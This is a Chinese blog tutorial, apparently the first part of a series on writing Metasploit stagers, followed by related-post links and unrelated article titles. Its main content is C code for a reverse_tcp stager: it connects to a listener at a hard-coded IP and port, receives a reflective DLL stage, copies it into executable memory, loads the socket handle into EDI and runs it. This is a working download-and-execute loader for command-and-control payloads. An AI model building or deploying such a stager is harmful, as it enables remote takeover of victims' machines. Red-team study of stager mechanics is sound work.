采用c开发stagers

前言

之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么),里面有提到以后了解这些东西后可以做的事情,其实包括但不限于自写stagers,扩展C2 实现。本系列将从之前这篇文章中获取到的原理性知识进行实践,一步步记录我在这个过程中踩到的坑与收获,这个系列可能会更新得比较慢,也可能会不定期鸽,希望大家能够一同学习,有什么错误的地方也欢迎大家来探讨指正。

前情提要

上面我们给出的文章讲到关于第一阶段与第二阶段的交互原理

简要概括一下,对于 reverse_tcp 的payload 来说,所给出的 payload 是第一阶段 (stagers),然后它会发起 socket tcp 连接请求向远端请求第二阶段 (stages) ,这个阶段是一个反射 dll,然后把 socket fd (socket文件描述符) 放入 edi 寄存器,开始从起始地址执行第二阶段,第二阶段后续的操作会用到这个 socket fd,所以一开始需要传入,后面的关于这个 dll 具体运作以及为什么能直接从起始地址开始跑我们暂时不需要关心,这个在我上一篇文章中已有提及。

明确思路

上面的流程说的已经比较明白了(此篇文章里我将采用 metasploit-loader 作为代码讲解):

  1. 向 msf 监听地址发起 tcp 请求

  2. 获取 stages

  3. 将 socket fd 放入寄存器 edi

  4. 从起始地址开始执行 stages

发起tcp请求stages

先贴代码

首先我们需要创建一个socket连接

/* 错误处理 */
void punt(SOCKET my_socket, char * error) {
printf("Bad things: %s\n", error);
closesocket(my_socket);
WSACleanup();
exit(1);
} ... WSADATA wsaData;
WORD wVersionRequested; wVersionRequested = MAKEWORD(2, 2); if (WSAStartup(wVersionRequested, &wsaData) < 0) {
printf("ws2_32.dll is out of date.\n");
WSACleanup();
exit(1);
} struct hostent * target;
struct sockaddr_in sock;
SOCKET my_socket;
char* targetip = "192.168.174.136"
int port = 4444 /* 创建socket */
my_socket = socket(AF_INET, SOCK_STREAM, 0);
if (my_socket == INVALID_SOCKET)
punt(my_socket, "Could not initialize socket"); /* 解析targetip*/
target = gethostbyname(targetip);
if (target == NULL)
punt(my_socket, "Could not resolve target"); /* 准备tcp连接相关信息 */
memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(port); /* 连接 */
if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
punt(my_socket, "Could not connect to target");

这部分代码就是和我们的 msf 监听地址建立 socket 连接

接下来关于stages有点需要说明的。

stages结构:

  • 开头 4byte 是后续的 tcp 包长度
  • 4byte 后紧跟的是一个 dll,也就是一个pe文件

那么我们按照这个方式去读

int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");

读出后面的 dll 数据包长度

然后我们开始读取 dll

/* 接收指定长度的数据 */
int recv_all(SOCKET my_socket, void * buffer, int len) {
int tret = 0;
int nret = 0;
void * startb = buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
startb += nret;
tret += nret; if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
}
return tret;
} buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n"); /* 把 socket fd 放入 edi 寄存器,注意这里的 socket 句柄需要取到句柄指向的那个数据,而不是句柄指针
BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF; /* 构造上面的机器码 */
memcpy(buffer + 1, &my_socket, 4); /* 把读取出来的数据放到 buffer 后面 */
count = recv_all(my_socket, buffer + 5, size);

这里需要注意的地方是把 socket fd 放入 edi,这个过程是比较重要的,具体的原理我在上一篇文章有提到。

执行stages

现在我们只需要像之前执行 shellcode 那样执行即可

/* 把buffer强转为一个函数去调用 */
function = (void (*)())buffer;
function();

然后把这些代码组合起来进行编译

编译

编译需要注意的点是:payload必须对应

比如32位的payload必须编译为32位的,相应的64位必须编译为64位

msf stagers开发不完全指北(一)的更多相关文章

  1. msf stagers开发不完全指北(二)

    采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang ...

  2. msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量

    msf 中使用域前置技术隐藏流量 前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这 ...

  3. 微信小程序云开发不完全指北

    微信小程序云开发不完全指北 首先必须说明云开发的"云"并不是类似云玩家里的云的意思,而是微信小程序真的提供了云开发的接口以及一个简单的提供存储.数据库服务的虚拟后台(对于一些轻量小 ...

  4. Python 简单入门指北(二)

    Python 简单入门指北(二) 2 函数 2.1 函数是一等公民 一等公民指的是 Python 的函数能够动态创建,能赋值给别的变量,能作为参传给函数,也能作为函数的返回值.总而言之,函数和普通变量 ...

  5. Python 简单入门指北(一)

    Python 简单入门指北(一) Python 是一门非常容易上手的语言,通过查阅资料和教程,也许一晚上就能写出一个简单的爬虫.但 Python 也是一门很难精通的语言,因为简洁的语法背后隐藏了许多黑 ...

  6. 可能比文档还详细--VueRouter完全指北

    可能比文档还详细--VueRouter完全指北 前言 关于标题,应该算不上是标题党,因为内容真的很多很长很全面.主要是在官网的基础上又详细总结,举例了很多东西.确保所有新人都能理解!所以实际上很多东西 ...

  7. 后端API入门到放弃指北

    后端API入门学习指北 了解一下一下概念. RESTful API标准] 所有的API都遵循[RESTful API标准]. 建议大家都简单了解一下HTTP协议和RESTful API相关资料. 阮一 ...

  8. ThinkPHP 3.2.x 集成极光推送指北

    3.2版本已经过了维护生命周期,官方已经不再维护,请及时更新至5.0版本 -- ThinkPHP 官方仓库 以上,如果有条件,请关闭这个页面,然后升级至 ThinkPHP 5,如果由于各种各样的原因无 ...

  9. c#封装DBHelper类 c# 图片加水印 (摘)C#生成随机数的三种方法 使用LINQ、Lambda 表达式 、委托快速比较两个集合,找出需要新增、修改、删除的对象 c# 制作正方形图片 JavaScript 事件循环及异步原理(完全指北)

    c#封装DBHelper类   public enum EffentNextType { /// <summary> /// 对其他语句无任何影响 /// </summary> ...

随机推荐

  1. 使用docker方式构建prometheus监控的学习

    一.背景:近期学习部署prometheus监控系统,经研究发现prometheus提供docker运行模式.根据我的经验,能够使用docker模式构建系统一定多快好省. 二.环境: 1.centos7 ...

  2. python数据类型 列表+元组

    一:列表 二:元组 一:列表list: 1.列表中的每个元素都可变的,意味着可以对每个元素进行修改和删除: 2.列表是有序的,每个元素的位置是确定的,可以用索引去访问每个元素: 3.列表的所有元素放在 ...

  3. AUTOSAR-文档中所使用的UML文件

    https://mp.weixin.qq.com/s/OeUPNBVh1Vd_ZT1EZVKDZA   AUTOSAR官方对AUTOSAR的了解,自然比我们的了解多.在这样一个信息不对称的情况下,需要 ...

  4. Rocket - util - MaskGen

    https://mp.weixin.qq.com/s/_aJqf1cFJDK5RVRBhxTWOw   介绍MaskGen的实现.   ​​   1. 基本介绍   给定总线宽度beatBytes,根 ...

  5. Rocket - 断句 - Diplomatic Design Patterns: A TileLink Case Study

    https://mp.weixin.qq.com/s/afRVgTCYs1Mxu898uSmVaQ 整理一篇介绍Diplomacy和TileLink的文章.   原文链接: https://carrv ...

  6. 关于URL优化的一些经验

    URL在搜索结果列表中时显示内容之一.设计网站结构时需要对目录及文件命名系统做事先规划.总的原则是首先从用户体验出发,URL应该清晰友好.方便记忆,然后才考虑URL对排名的影响.具体可以考虑以下几个方 ...

  7. Spring Boot笔记(七) springboot 集成 JavaMail 实现邮箱认证

    个人博客网:https://wushaopei.github.io/    (你想要这里多有) 一.JavaMail 1.什么是JavaMail? JavaMail,顾名思义,提供给开发者处理 电子邮 ...

  8. JavaSE (四)程序流程控制 -- if 、switch、for、while

    个人博客网:https://wushaopei.github.io/    (你想要这里多有) 目录 前置: * . 从键盘读取数据: 1.分支结构 1.1 if-else结构 1.2 switch- ...

  9. Java实现 LeetCode 174 地下城游戏

    174. 地下城游戏 一些恶魔抓住了公主(P)并将她关在了地下城的右下角.地下城是由 M x N 个房间组成的二维网格.我们英勇的骑士(K)最初被安置在左上角的房间里,他必须穿过地下城并通过对抗恶魔来 ...

  10. java解决poi导出excel文字水印,导出excel不可操作问题

    首先需求是用户提出导出excel数据需使用水印备注其用途: 其实就是在导出excel的同时带有自定义文字水印的导出. 那么我们首先想到的肯定是以一个什么样的思路去解决该问题,首先查找poi导出exce ...